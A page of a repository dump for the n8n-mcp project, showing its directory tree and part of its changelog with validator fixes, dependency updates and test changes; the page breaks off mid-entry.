This is page 55 of 59. Use http://codebase.md/czlonkowski/n8n-mcp?lines=true&page={x} to view the full context. # Directory Structure ``` ├── _config.yml ├── .claude │ └── agents │ ├── code-reviewer.md │ ├── context-manager.md │ ├── debugger.md │ ├── deployment-engineer.md │ ├── mcp-backend-engineer.md │ ├── n8n-mcp-tester.md │ ├── technical-researcher.md │ └── test-automator.md ├── .dockerignore ├── .env.docker ├── .env.example ├── .env.n8n.example ├── .env.test ├── .env.test.example ├── .github │ ├── ABOUT.md │ ├── BENCHMARK_THRESHOLDS.md │ ├── FUNDING.yml │ ├── gh-pages.yml │ ├── secret_scanning.yml │ └── workflows │ ├── benchmark-pr.yml │ ├── benchmark.yml │ ├── docker-build-fast.yml │ ├── docker-build-n8n.yml │ ├── docker-build.yml │ ├── release.yml │ ├── test.yml │ └── update-n8n-deps.yml ├── .gitignore ├── .npmignore ├── ATTRIBUTION.md ├── CHANGELOG.md ├── CLAUDE.md ├── codecov.yml ├── coverage.json ├── data │ ├── .gitkeep │ ├── nodes.db │ ├── nodes.db-shm │ ├── nodes.db-wal │ └── templates.db ├── deploy │ └── quick-deploy-n8n.sh ├── docker │ ├── docker-entrypoint.sh │ ├── n8n-mcp │ ├── parse-config.js │ └── README.md ├── docker-compose.buildkit.yml ├── docker-compose.extract.yml ├── docker-compose.n8n.yml ├── docker-compose.override.yml.example ├── docker-compose.test-n8n.yml ├── docker-compose.yml ├── Dockerfile ├── Dockerfile.railway ├── Dockerfile.test ├── docs │ ├── AUTOMATED_RELEASES.md │ ├── BENCHMARKS.md │ ├── CHANGELOG.md │ ├── CLAUDE_CODE_SETUP.md │ ├── CLAUDE_INTERVIEW.md │ ├── CODECOV_SETUP.md │ ├── CODEX_SETUP.md │ ├── CURSOR_SETUP.md │ ├── DEPENDENCY_UPDATES.md │ ├── DOCKER_README.md │ ├── DOCKER_TROUBLESHOOTING.md │ ├── FINAL_AI_VALIDATION_SPEC.md │ ├── FLEXIBLE_INSTANCE_CONFIGURATION.md │ ├── HTTP_DEPLOYMENT.md │ ├── img │ │ ├── cc_command.png │ │ ├── cc_connected.png │ │ ├── codex_connected.png │ │ ├── cursor_tut.png │ │ ├── Railway_api.png │ │ ├── Railway_server_address.png │ │ ├── vsc_ghcp_chat_agent_mode.png │ │ ├── vsc_ghcp_chat_instruction_files.png │ │ ├── vsc_ghcp_chat_thinking_tool.png │ │ └── windsurf_tut.png │ ├── INSTALLATION.md │ ├── LIBRARY_USAGE.md │ ├── local │ │ ├── DEEP_DIVE_ANALYSIS_2025-10-02.md │ │ ├── DEEP_DIVE_ANALYSIS_README.md │ │ ├── Deep_dive_p1_p2.md │ │ ├── integration-testing-plan.md │ │ ├── integration-tests-phase1-summary.md │ │ ├── N8N_AI_WORKFLOW_BUILDER_ANALYSIS.md │ │ ├── P0_IMPLEMENTATION_PLAN.md │ │ └── TEMPLATE_MINING_ANALYSIS.md │ ├── MCP_ESSENTIALS_README.md │ ├── MCP_QUICK_START_GUIDE.md │ ├── N8N_DEPLOYMENT.md │ ├── RAILWAY_DEPLOYMENT.md │ ├── README_CLAUDE_SETUP.md │ ├── README.md │ ├── tools-documentation-usage.md │ ├── VS_CODE_PROJECT_SETUP.md │ ├── WINDSURF_SETUP.md │ └── workflow-diff-examples.md ├── examples │ └── enhanced-documentation-demo.js ├── fetch_log.txt ├── LICENSE ├── MEMORY_N8N_UPDATE.md ├── MEMORY_TEMPLATE_UPDATE.md ├── monitor_fetch.sh ├── N8N_HTTP_STREAMABLE_SETUP.md ├── n8n-nodes.db ├── P0-R3-TEST-PLAN.md ├── package-lock.json ├── package.json ├── package.runtime.json ├── PRIVACY.md ├── railway.json ├── README.md ├── renovate.json ├── scripts │ ├── analyze-optimization.sh │ ├── audit-schema-coverage.ts │ ├── build-optimized.sh │ ├── compare-benchmarks.js │ ├── demo-optimization.sh │ ├── deploy-http.sh │ ├── deploy-to-vm.sh │ ├── export-webhook-workflows.ts │ ├── extract-changelog.js │ ├── extract-from-docker.js │ ├── extract-nodes-docker.sh │ ├── extract-nodes-simple.sh │ ├── format-benchmark-results.js │ ├── generate-benchmark-stub.js │ ├── generate-detailed-reports.js │ ├── generate-test-summary.js │ ├── http-bridge.js │ ├── mcp-http-client.js │ ├── migrate-nodes-fts.ts │ ├── migrate-tool-docs.ts │ ├── n8n-docs-mcp.service │ ├── nginx-n8n-mcp.conf │ ├── prebuild-fts5.ts │ ├── prepare-release.js │ ├── publish-npm-quick.sh │ ├── publish-npm.sh │ ├── quick-test.ts │ ├── run-benchmarks-ci.js │ ├── sync-runtime-version.js │ ├── test-ai-validation-debug.ts │ ├── test-code-node-enhancements.ts │ ├── test-code-node-fixes.ts │ ├── test-docker-config.sh │ ├── test-docker-fingerprint.ts │ ├── test-docker-optimization.sh │ ├── test-docker.sh │ ├── test-empty-connection-validation.ts │ ├── test-error-message-tracking.ts │ ├── test-error-output-validation.ts │ ├── test-error-validation.js │ ├── test-essentials.ts │ ├── test-expression-code-validation.ts │ ├── test-expression-format-validation.js │ ├── test-fts5-search.ts │ ├── test-fuzzy-fix.ts │ ├── test-fuzzy-simple.ts │ ├── test-helpers-validation.ts │ ├── test-http-search.ts │ ├── test-http.sh │ ├── test-jmespath-validation.ts │ ├── test-multi-tenant-simple.ts │ ├── test-multi-tenant.ts │ ├── test-n8n-integration.sh │ ├── test-node-info.js │ ├── test-node-type-validation.ts │ ├── test-nodes-base-prefix.ts │ ├── test-operation-validation.ts │ ├── test-optimized-docker.sh │ ├── test-release-automation.js │ ├── test-search-improvements.ts │ ├── test-security.ts │ ├── test-single-session.sh │ ├── test-sqljs-triggers.ts │ ├── test-telemetry-debug.ts │ ├── test-telemetry-direct.ts │ ├── test-telemetry-env.ts │ ├── test-telemetry-integration.ts │ ├── test-telemetry-no-select.ts │ ├── test-telemetry-security.ts │ ├── test-telemetry-simple.ts │ ├── test-typeversion-validation.ts │ ├── test-url-configuration.ts │ ├── test-user-id-persistence.ts │ ├── test-webhook-validation.ts │ ├── test-workflow-insert.ts │ ├── test-workflow-sanitizer.ts │ ├── test-workflow-tracking-debug.ts │ ├── update-and-publish-prep.sh │ ├── update-n8n-deps.js │ ├── update-readme-version.js │ ├── vitest-benchmark-json-reporter.js │ └── vitest-benchmark-reporter.ts ├── SECURITY.md ├── src │ ├── config │ │ └── n8n-api.ts │ ├── data │ │ └── canonical-ai-tool-examples.json │ ├── database │ │ ├── database-adapter.ts │ │ ├── migrations │ │ │ └── add-template-node-configs.sql │ │ ├── node-repository.ts │ │ ├── nodes.db │ │ ├── schema-optimized.sql │ │ └── schema.sql │ ├── errors │ │ └── validation-service-error.ts │ ├── http-server-single-session.ts │ ├── http-server.ts │ ├── index.ts │ ├── loaders │ │ └── node-loader.ts │ ├── mappers │ │ └── docs-mapper.ts │ ├── mcp │ │ ├── handlers-n8n-manager.ts │ │ ├── handlers-workflow-diff.ts │ │ ├── index.ts │ │ ├── server.ts │ │ ├── stdio-wrapper.ts │ │ ├── tool-docs │ │ │ ├── configuration │ │ │ │ ├── get-node-as-tool-info.ts │ │ │ │ ├── get-node-documentation.ts │ │ │ │ ├── get-node-essentials.ts │ │ │ │ ├── get-node-info.ts │ │ │ │ ├── get-property-dependencies.ts │ │ │ │ ├── index.ts │ │ │ │ └── search-node-properties.ts │ │ │ ├── discovery │ │ │ │ ├── get-database-statistics.ts │ │ │ │ ├── index.ts │ │ │ │ ├── list-ai-tools.ts │ │ │ │ ├── list-nodes.ts │ │ │ │ └── search-nodes.ts │ │ │ ├── guides │ │ │ │ ├── ai-agents-guide.ts │ │ │ │ └── index.ts │ │ │ ├── index.ts │ │ │ ├── system │ │ │ │ ├── index.ts │ │ │ │ ├── n8n-diagnostic.ts │ │ │ │ ├── n8n-health-check.ts │ │ │ │ ├── n8n-list-available-tools.ts │ │ │ │ └── tools-documentation.ts │ │ │ ├── templates │ │ │ │ ├── get-template.ts │ │ │ │ ├── get-templates-for-task.ts │ │ │ │ ├── index.ts │ │ │ │ ├── list-node-templates.ts │ │ │ │ ├── list-tasks.ts │ │ │ │ ├── search-templates-by-metadata.ts │ │ │ │ └── search-templates.ts │ │ │ ├── types.ts │ │ │ ├── validation │ │ │ │ ├── index.ts │ │ │ │ ├── validate-node-minimal.ts │ │ │ │ ├── validate-node-operation.ts │ │ │ │ ├── validate-workflow-connections.ts │ │ │ │ ├── validate-workflow-expressions.ts │ │ │ │ └── validate-workflow.ts │ │ │ └── workflow_management │ │ │ ├── index.ts │ │ │ ├── n8n-autofix-workflow.ts │ │ │ ├── n8n-create-workflow.ts │ │ │ ├── n8n-delete-execution.ts │ │ │ ├── n8n-delete-workflow.ts │ │ │ ├── n8n-get-execution.ts │ │ │ ├── n8n-get-workflow-details.ts │ │ │ ├── n8n-get-workflow-minimal.ts │ │ │ ├── n8n-get-workflow-structure.ts │ │ │ ├── n8n-get-workflow.ts │ │ │ ├── n8n-list-executions.ts │ │ │ ├── n8n-list-workflows.ts │ │ │ ├── n8n-trigger-webhook-workflow.ts │ │ │ ├── n8n-update-full-workflow.ts │ │ │ ├── n8n-update-partial-workflow.ts │ │ │ └── n8n-validate-workflow.ts │ │ ├── tools-documentation.ts │ │ ├── tools-n8n-friendly.ts │ │ ├── tools-n8n-manager.ts │ │ ├── tools.ts │ │ └── workflow-examples.ts │ ├── mcp-engine.ts │ ├── mcp-tools-engine.ts │ ├── n8n │ │ ├── MCPApi.credentials.ts │ │ └── MCPNode.node.ts │ ├── parsers │ │ ├── node-parser.ts │ │ ├── property-extractor.ts │ │ └── simple-parser.ts │ ├── scripts │ │ ├── debug-http-search.ts │ │ ├── extract-from-docker.ts │ │ ├── fetch-templates-robust.ts │ │ ├── fetch-templates.ts │ │ ├── rebuild-database.ts │ │ ├── rebuild-optimized.ts │ │ ├── rebuild.ts │ │ ├── sanitize-templates.ts │ │ ├── seed-canonical-ai-examples.ts │ │ ├── test-autofix-documentation.ts │ │ ├── test-autofix-workflow.ts │ │ ├── test-execution-filtering.ts │ │ ├── test-node-suggestions.ts │ │ ├── test-protocol-negotiation.ts │ │ ├── test-summary.ts │ │ ├── test-webhook-autofix.ts │ │ ├── validate.ts │ │ └── validation-summary.ts │ ├── services │ │ ├── ai-node-validator.ts │ │ ├── ai-tool-validators.ts │ │ ├── confidence-scorer.ts │ │ ├── config-validator.ts │ │ ├── enhanced-config-validator.ts │ │ ├── example-generator.ts │ │ ├── execution-processor.ts │ │ ├── expression-format-validator.ts │ │ ├── expression-validator.ts │ │ ├── n8n-api-client.ts │ │ ├── n8n-validation.ts │ │ ├── node-documentation-service.ts │ │ ├── node-similarity-service.ts │ │ ├── node-specific-validators.ts │ │ ├── operation-similarity-service.ts │ │ ├── property-dependencies.ts │ │ ├── property-filter.ts │ │ ├── resource-similarity-service.ts │ │ ├── sqlite-storage-service.ts │ │ ├── task-templates.ts │ │ ├── universal-expression-validator.ts │ │ ├── workflow-auto-fixer.ts │ │ ├── workflow-diff-engine.ts │ │ └── workflow-validator.ts │ ├── telemetry │ │ ├── batch-processor.ts │ │ ├── config-manager.ts │ │ ├── early-error-logger.ts │ │ ├── error-sanitization-utils.ts │ │ ├── error-sanitizer.ts │ │ ├── event-tracker.ts │ │ ├── event-validator.ts │ │ ├── index.ts │ │ ├── performance-monitor.ts │ │ ├── rate-limiter.ts │ │ ├── startup-checkpoints.ts │ │ ├── telemetry-error.ts │ │ ├── telemetry-manager.ts │ │ ├── telemetry-types.ts │ │ └── workflow-sanitizer.ts │ ├── templates │ │ ├── batch-processor.ts │ │ ├── metadata-generator.ts │ │ ├── README.md │ │ ├── template-fetcher.ts │ │ ├── template-repository.ts │ │ └── template-service.ts │ ├── types │ │ ├── index.ts │ │ ├── instance-context.ts │ │ ├── n8n-api.ts │ │ ├── node-types.ts │ │ └── workflow-diff.ts │ └── utils │ ├── auth.ts │ ├── bridge.ts │ ├── cache-utils.ts │ ├── console-manager.ts │ ├── documentation-fetcher.ts │ ├── enhanced-documentation-fetcher.ts │ ├── error-handler.ts │ ├── example-generator.ts │ ├── fixed-collection-validator.ts │ ├── logger.ts │ ├── mcp-client.ts │ ├── n8n-errors.ts │ ├── node-source-extractor.ts │ ├── node-type-normalizer.ts │ ├── node-type-utils.ts │ ├── node-utils.ts │ ├── npm-version-checker.ts │ ├── protocol-version.ts │ ├── simple-cache.ts │ ├── ssrf-protection.ts │ ├── template-node-resolver.ts │ ├── template-sanitizer.ts │ ├── url-detector.ts │ ├── validation-schemas.ts │ └── version.ts ├── test-output.txt ├── test-reinit-fix.sh ├── tests │ ├── __snapshots__ │ │ └── .gitkeep │ ├── auth.test.ts │ ├── benchmarks │ │ ├── database-queries.bench.ts │ │ ├── index.ts │ │ ├── mcp-tools.bench.ts │ │ ├── mcp-tools.bench.ts.disabled │ │ ├── mcp-tools.bench.ts.skip │ │ ├── node-loading.bench.ts.disabled │ │ ├── README.md │ │ ├── search-operations.bench.ts.disabled │ │ └── validation-performance.bench.ts.disabled │ ├── bridge.test.ts │ ├── comprehensive-extraction-test.js │ ├── data │ │ └── .gitkeep │ ├── debug-slack-doc.js │ ├── demo-enhanced-documentation.js │ ├── docker-tests-README.md │ ├── error-handler.test.ts │ ├── examples │ │ └── using-database-utils.test.ts │ ├── extracted-nodes-db │ │ ├── database-import.json │ │ ├── extraction-report.json │ │ ├── insert-nodes.sql │ │ ├── n8n-nodes-base__Airtable.json │ │ ├── n8n-nodes-base__Discord.json │ │ ├── n8n-nodes-base__Function.json │ │ ├── n8n-nodes-base__HttpRequest.json │ │ ├── n8n-nodes-base__If.json │ │ ├── n8n-nodes-base__Slack.json │ │ ├── n8n-nodes-base__SplitInBatches.json │ │ └── n8n-nodes-base__Webhook.json │ ├── factories │ │ ├── node-factory.ts │ │ └── property-definition-factory.ts │ ├── fixtures │ │ ├── .gitkeep │ │ ├── database │ │ │ └── test-nodes.json │ │ ├── factories │ │ │ ├── node.factory.ts │ │ │ └── parser-node.factory.ts │ │ └── template-configs.ts │ ├── helpers │ │ └── env-helpers.ts │ ├── http-server-auth.test.ts │ ├── integration │ │ ├── ai-validation │ │ │ ├── ai-agent-validation.test.ts │ │ │ ├── ai-tool-validation.test.ts │ │ │ ├── chat-trigger-validation.test.ts │ │ │ ├── e2e-validation.test.ts │ │ │ ├── helpers.ts │ │ │ ├── llm-chain-validation.test.ts │ │ │ ├── README.md │ │ │ └── TEST_REPORT.md │ │ ├── ci │ │ │ └── database-population.test.ts │ │ ├── database │ │ │ ├── connection-management.test.ts │ │ │ ├── empty-database.test.ts │ │ │ ├── fts5-search.test.ts │ │ │ ├── node-fts5-search.test.ts │ │ │ ├── node-repository.test.ts │ │ │ ├── performance.test.ts │ │ │ ├── template-node-configs.test.ts │ │ │ ├── template-repository.test.ts │ │ │ ├── test-utils.ts │ │ │ └── transactions.test.ts │ │ ├── database-integration.test.ts │ │ ├── docker │ │ │ ├── docker-config.test.ts │ │ │ ├── docker-entrypoint.test.ts │ │ │ └── test-helpers.ts │ │ ├── flexible-instance-config.test.ts │ │ ├── mcp │ │ │ └── template-examples-e2e.test.ts │ │ ├── mcp-protocol │ │ │ ├── basic-connection.test.ts │ │ │ ├── error-handling.test.ts │ │ │ ├── performance.test.ts │ │ │ ├── protocol-compliance.test.ts │ │ │ ├── README.md │ │ │ ├── session-management.test.ts │ │ │ ├── test-helpers.ts │ │ │ ├── tool-invocation.test.ts │ │ │ └── workflow-error-validation.test.ts │ │ ├── msw-setup.test.ts │ │ ├── n8n-api │ │ │ ├── executions │ │ │ │ ├── delete-execution.test.ts │ │ │ │ ├── get-execution.test.ts │ │ │ │ ├── list-executions.test.ts │ │ │ │ └── trigger-webhook.test.ts │ │ │ ├── scripts │ │ │ │ └── cleanup-orphans.ts │ │ │ ├── system │ │ │ │ ├── diagnostic.test.ts │ │ │ │ ├── health-check.test.ts │ │ │ │ └── list-tools.test.ts │ │ │ ├── test-connection.ts │ │ │ ├── types │ │ │ │ └── mcp-responses.ts │ │ │ ├── utils │ │ │ │ ├── cleanup-helpers.ts │ │ │ │ ├── credentials.ts │ │ │ │ ├── factories.ts │ │ │ │ ├── fixtures.ts │ │ │ │ ├── mcp-context.ts │ │ │ │ ├── n8n-client.ts │ │ │ │ ├── node-repository.ts │ │ │ │ ├── response-types.ts │ │ │ │ ├── test-context.ts │ │ │ │ └── webhook-workflows.ts │ │ │ └── workflows │ │ │ ├── autofix-workflow.test.ts │ │ │ ├── create-workflow.test.ts │ │ │ ├── delete-workflow.test.ts │ │ │ ├── get-workflow-details.test.ts │ │ │ ├── get-workflow-minimal.test.ts │ │ │ ├── get-workflow-structure.test.ts │ │ │ ├── get-workflow.test.ts │ │ │ ├── list-workflows.test.ts │ │ │ ├── smart-parameters.test.ts │ │ │ ├── update-partial-workflow.test.ts │ │ │ ├── update-workflow.test.ts │ │ │ └── validate-workflow.test.ts │ │ ├── security │ │ │ ├── command-injection-prevention.test.ts │ │ │ └── rate-limiting.test.ts │ │ ├── setup │ │ │ ├── integration-setup.ts │ │ │ └── msw-test-server.ts │ │ ├── telemetry │ │ │ ├── docker-user-id-stability.test.ts │ │ │ └── mcp-telemetry.test.ts │ │ ├── templates │ │ │ └── metadata-operations.test.ts │ │ └── workflow-creation-node-type-format.test.ts │ ├── logger.test.ts │ ├── MOCKING_STRATEGY.md │ ├── mocks │ │ ├── n8n-api │ │ │ ├── data │ │ │ │ ├── credentials.ts │ │ │ │ ├── executions.ts │ │ │ │ └── workflows.ts │ │ │ ├── handlers.ts │ │ │ └── index.ts │ │ └── README.md │ ├── node-storage-export.json │ ├── setup │ │ ├── global-setup.ts │ │ ├── msw-setup.ts │ │ ├── TEST_ENV_DOCUMENTATION.md │ │ └── test-env.ts │ ├── test-database-extraction.js │ ├── test-direct-extraction.js │ ├── test-enhanced-documentation.js │ ├── test-enhanced-integration.js │ ├── test-mcp-extraction.js │ ├── test-mcp-server-extraction.js │ ├── test-mcp-tools-integration.js │ ├── test-node-documentation-service.js │ ├── test-node-list.js │ ├── test-package-info.js │ ├── test-parsing-operations.js │ ├── test-slack-node-complete.js │ ├── test-small-rebuild.js │ ├── test-sqlite-search.js │ ├── test-storage-system.js │ ├── unit │ │ ├── __mocks__ │ │ │ ├── n8n-nodes-base.test.ts │ │ │ ├── n8n-nodes-base.ts │ │ │ └── README.md │ │ ├── database │ │ │ ├── __mocks__ │ │ │ │ └── better-sqlite3.ts │ │ │ ├── database-adapter-unit.test.ts │ │ │ ├── node-repository-core.test.ts │ │ │ ├── node-repository-operations.test.ts │ │ │ ├── node-repository-outputs.test.ts │ │ │ ├── README.md │ │ │ └── template-repository-core.test.ts │ │ ├── docker │ │ │ ├── config-security.test.ts │ │ │ ├── edge-cases.test.ts │ │ │ ├── parse-config.test.ts │ │ │ └── serve-command.test.ts │ │ ├── errors │ │ │ └── validation-service-error.test.ts │ │ ├── examples │ │ │ └── using-n8n-nodes-base-mock.test.ts │ │ ├── flexible-instance-security-advanced.test.ts │ │ ├── flexible-instance-security.test.ts │ │ ├── http-server │ │ │ └── multi-tenant-support.test.ts │ │ ├── http-server-n8n-mode.test.ts │ │ ├── http-server-n8n-reinit.test.ts │ │ ├── http-server-session-management.test.ts │ │ ├── loaders │ │ │ └── node-loader.test.ts │ │ ├── mappers │ │ │ └── docs-mapper.test.ts │ │ ├── mcp │ │ │ ├── get-node-essentials-examples.test.ts │ │ │ ├── handlers-n8n-manager-simple.test.ts │ │ │ ├── handlers-n8n-manager.test.ts │ │ │ ├── handlers-workflow-diff.test.ts │ │ │ ├── lru-cache-behavior.test.ts │ │ │ ├── multi-tenant-tool-listing.test.ts.disabled │ │ │ ├── parameter-validation.test.ts │ │ │ ├── search-nodes-examples.test.ts │ │ │ ├── tools-documentation.test.ts │ │ │ └── tools.test.ts │ │ ├── monitoring │ │ │ └── cache-metrics.test.ts │ │ ├── MULTI_TENANT_TEST_COVERAGE.md │ │ ├── multi-tenant-integration.test.ts │ │ ├── parsers │ │ │ ├── node-parser-outputs.test.ts │ │ │ ├── node-parser.test.ts │ │ │ ├── property-extractor.test.ts │ │ │ └── simple-parser.test.ts │ │ ├── scripts │ │ │ └── fetch-templates-extraction.test.ts │ │ ├── services │ │ │ ├── ai-node-validator.test.ts │ │ │ ├── ai-tool-validators.test.ts │ │ │ ├── confidence-scorer.test.ts │ │ │ ├── config-validator-basic.test.ts │ │ │ ├── config-validator-edge-cases.test.ts │ │ │ ├── config-validator-node-specific.test.ts │ │ │ ├── config-validator-security.test.ts │ │ │ ├── debug-validator.test.ts │ │ │ ├── enhanced-config-validator-integration.test.ts │ │ │ ├── enhanced-config-validator-operations.test.ts │ │ │ ├── enhanced-config-validator.test.ts │ │ │ ├── example-generator.test.ts │ │ │ ├── execution-processor.test.ts │ │ │ ├── expression-format-validator.test.ts │ │ │ ├── expression-validator-edge-cases.test.ts │ │ │ ├── expression-validator.test.ts │ │ │ ├── fixed-collection-validation.test.ts │ │ │ ├── loop-output-edge-cases.test.ts │ │ │ ├── n8n-api-client.test.ts │ │ │ ├── n8n-validation.test.ts │ │ │ ├── node-similarity-service.test.ts │ │ │ ├── node-specific-validators.test.ts │ │ │ ├── operation-similarity-service-comprehensive.test.ts │ │ │ ├── operation-similarity-service.test.ts │ │ │ ├── property-dependencies.test.ts │ │ │ ├── property-filter-edge-cases.test.ts │ │ │ ├── property-filter.test.ts │ │ │ ├── resource-similarity-service-comprehensive.test.ts │ │ │ ├── resource-similarity-service.test.ts │ │ │ ├── task-templates.test.ts │ │ │ ├── template-service.test.ts │ │ │ ├── universal-expression-validator.test.ts │ │ │ ├── validation-fixes.test.ts │ │ │ ├── workflow-auto-fixer.test.ts │ │ │ ├── workflow-diff-engine.test.ts │ │ │ ├── workflow-fixed-collection-validation.test.ts │ │ │ ├── workflow-validator-comprehensive.test.ts │ │ │ ├── workflow-validator-edge-cases.test.ts │ │ │ ├── workflow-validator-error-outputs.test.ts │ │ │ ├── workflow-validator-expression-format.test.ts │ │ │ ├── workflow-validator-loops-simple.test.ts │ │ │ ├── workflow-validator-loops.test.ts │ │ │ ├── workflow-validator-mocks.test.ts │ │ │ ├── workflow-validator-performance.test.ts │ │ │ ├── workflow-validator-with-mocks.test.ts │ │ │ └── workflow-validator.test.ts │ │ ├── telemetry │ │ │ ├── batch-processor.test.ts │ │ │ ├── config-manager.test.ts │ │ │ ├── event-tracker.test.ts │ │ │ ├── event-validator.test.ts │ │ │ ├── rate-limiter.test.ts │ │ │ ├── telemetry-error.test.ts │ │ │ ├── telemetry-manager.test.ts │ │ │ ├── v2.18.3-fixes-verification.test.ts │ │ │ └── workflow-sanitizer.test.ts │ │ ├── templates │ │ │ ├── batch-processor.test.ts │ │ │ ├── metadata-generator.test.ts │ │ │ ├── template-repository-metadata.test.ts │ │ │ └── template-repository-security.test.ts │ │ ├── test-env-example.test.ts │ │ ├── test-infrastructure.test.ts │ │ ├── types │ │ │ ├── instance-context-coverage.test.ts │ │ │ └── instance-context-multi-tenant.test.ts │ │ ├── utils │ │ │ ├── auth-timing-safe.test.ts │ │ │ ├── cache-utils.test.ts │ │ │ ├── console-manager.test.ts │ │ │ ├── database-utils.test.ts │ │ │ ├── fixed-collection-validator.test.ts │ │ │ ├── n8n-errors.test.ts │ │ │ ├── node-type-normalizer.test.ts │ │ │ ├── node-type-utils.test.ts │ │ │ ├── node-utils.test.ts │ │ │ ├── simple-cache-memory-leak-fix.test.ts │ │ │ ├── ssrf-protection.test.ts │ │ │ └── template-node-resolver.test.ts │ │ └── validation-fixes.test.ts │ └── utils │ ├── assertions.ts │ ├── builders │ │ └── workflow.builder.ts │ ├── data-generators.ts │ ├── database-utils.ts │ ├── README.md │ └── test-helpers.ts ├── thumbnail.png ├── tsconfig.build.json ├── tsconfig.json ├── types │ ├── mcp.d.ts │ └── test-env.d.ts ├── verify-telemetry-fix.js ├── versioned-nodes.md ├── vitest.config.benchmark.ts ├── vitest.config.integration.ts └── vitest.config.ts ``` # Files -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- ```markdown 1 | # Changelog 2 | 3 | All notable changes to this project will be documented in this file. 4 | 5 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 6 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 7 | 8 | ## [2.19.6] - 2025-10-14 9 | 10 | ### 📦 Dependency Updates 11 | 12 | - Updated n8n to ^1.115.2 (from ^1.114.3) 13 | - Updated n8n-core to ^1.114.0 (from ^1.113.1) 14 | - Updated n8n-workflow to ^1.112.0 (from ^1.111.0) 15 | - Updated @n8n/n8n-nodes-langchain to ^1.114.1 (from ^1.113.1) 16 | 17 | ### 🔄 Database 18 | 19 | - Rebuilt node database with 537 nodes (increased from 525) 20 | - Updated documentation coverage to 88% 21 | - 270 AI-capable tools detected 22 | 23 | ### ✅ Testing 24 | 25 | - All 1,181 functional tests passing 26 | - 1 flaky performance stress test (non-critical) 27 | - All validation tests passing 28 | 29 | ## [2.18.8] - 2025-10-11 30 | 31 | ### 🐛 Bug Fixes 32 | 33 | **PR #308: Enable Schema-Based resourceLocator Mode Validation** 34 | 35 | This release fixes critical validator false positives by implementing true schema-based validation for resourceLocator modes. The root cause was discovered through deep analysis: the validator was looking at the wrong path for mode definitions in n8n node schemas. 36 | 37 | #### Root Cause 38 | 39 | - **Wrong Path**: Validator checked `prop.typeOptions?.resourceLocator?.modes` ❌ 40 | - **Correct Path**: n8n stores modes at `prop.modes` (top level of property) ✅ 41 | - **Impact**: 0% validation coverage - all resourceLocator validation was being skipped, causing false positives 42 | 43 | #### Fixed 44 | 45 | - **Schema-Based Validation Now Active** 46 | - **Issue #304**: Google Sheets "name" mode incorrectly rejected (false positive) 47 | - **Coverage**: Increased from 0% to 100% (all 70 resourceLocator nodes now validated) 48 | - **Root Cause**: Validator reading from wrong schema path 49 | - **Fix**: Changed validation path from `prop.typeOptions?.resourceLocator?.modes` to `prop.modes` 50 | - **Files Changed**: 51 | - `src/services/config-validator.ts` (lines 273-310): Corrected validation path 52 | - `src/parsers/property-extractor.ts` (line 234): Added modes field capture 53 | - `src/services/node-specific-validators.ts` (lines 270-282): Google Sheets range/columns flexibility 54 | - Updated 6 test files to match real n8n schema structure 55 | 56 | - **Database Rebuild** 57 | - Rebuilt with modes field captured from n8n packages 58 | - All 70 resourceLocator nodes now have mode definitions populated 59 | - Enables true schema-driven validation (no more hardcoded mode lists) 60 | 61 | - **Google Sheets Enhancement** 62 | - Now accepts EITHER `range` OR `columns` parameter for append operation 63 | - Supports Google Sheets v4+ resourceMapper pattern 64 | - Better error messages showing actual allowed modes from schema 65 | 66 | #### Testing 67 | 68 | - **Before Fix**: 69 | - ❌ Valid Google Sheets "name" mode rejected (false positive) 70 | - ❌ Schema-based validation inactive (0% coverage) 71 | - ❌ Hardcoded mode validation only 72 | 73 | - **After Fix**: 74 | - ✅ Valid "name" mode accepted 75 | - ✅ Schema-based validation active (100% coverage - 70/70 nodes) 76 | - ✅ Invalid modes rejected with helpful errors: `must be one of [list, url, id, name]` 77 | - ✅ All 143 tests pass 78 | - ✅ Verified with n8n-mcp-tester agent 79 | 80 | #### Impact 81 | 82 | - **Fixes #304**: Google Sheets "name" mode false positive eliminated 83 | - **Related to #306**: Validator improvements 84 | - **No Breaking Changes**: More permissive (accepts previously rejected valid modes) 85 | - **Better UX**: Error messages show actual allowed modes from schema 86 | - **Maintainability**: Schema-driven approach eliminates need for hardcoded mode lists 87 | - **Code Quality**: Code review score 9.3/10 88 | 89 | #### Example Error Message (After Fix) 90 | ``` 91 | resourceLocator 'sheetName.mode' must be one of [list, url, id, name], got 'invalid' 92 | Fix: Change mode to one of: list, url, id, name 93 | ``` 94 | 95 | ## [2.18.6] - 2025-10-10 96 | 97 | ### 🐛 Bug Fixes 98 | 99 | **PR #303: Environment-Aware Debugging Test Fix** 100 | 101 | This release fixes a unit test failure that occurred after implementing environment-aware debugging improvements. The handleHealthCheck error handler now includes troubleshooting guidance in error responses, and the test expectations have been updated to match. 102 | 103 | #### Fixed 104 | 105 | - **Unit Test Failure in handleHealthCheck** 106 | - **Issue**: Test expected error response without `troubleshooting` array field 107 | - **Impact**: CI pipeline failing on PR #303 after adding environment-aware debugging 108 | - **Root Cause**: Environment-aware debugging improvements added a `troubleshooting` array to error responses, but unit test wasn't updated 109 | - **Fix**: Updated test expectation to include the new troubleshooting field (lines 1030-1035 in `tests/unit/mcp/handlers-n8n-manager.test.ts`) 110 | - **Error Response Structure** (now includes): 111 | ```typescript 112 | details: { 113 | apiUrl: 'https://n8n.test.com', 114 | hint: 'Check if n8n is running and API is enabled', 115 | troubleshooting: [ 116 | '1. Verify n8n instance is running', 117 | '2. Check N8N_API_URL is correct', 118 | '3. Verify N8N_API_KEY has proper permissions', 119 | '4. Run n8n_diagnostic for detailed analysis' 120 | ] 121 | } 122 | ``` 123 | 124 | #### Testing 125 | 126 | - **Unit Test**: Test now passes with troubleshooting array expectation 127 | - **MCP Testing**: Extensively validated with n8n-mcp-tester agent 128 | - Health check successful connections: ✅ 129 | - Error responses include troubleshooting guidance: ✅ 130 | - Diagnostic tool environment detection: ✅ 131 | - Mode-specific debugging (stdio/HTTP): ✅ 132 | - All environment-aware debugging features working correctly: ✅ 133 | 134 | #### Impact 135 | 136 | - **CI Pipeline**: PR #303 now passes all tests 137 | - **Error Guidance**: Users receive actionable troubleshooting steps when API errors occur 138 | - **Environment Detection**: Comprehensive debugging guidance based on deployment environment 139 | - **Zero Breaking Changes**: Only internal test expectations updated 140 | 141 | #### Related 142 | 143 | - **PR #303**: feat: Add environment-aware debugging to diagnostic tools 144 | - **Implementation**: `src/mcp/handlers-n8n-manager.ts` lines 1447-1462 145 | - **Diagnostic Tool**: 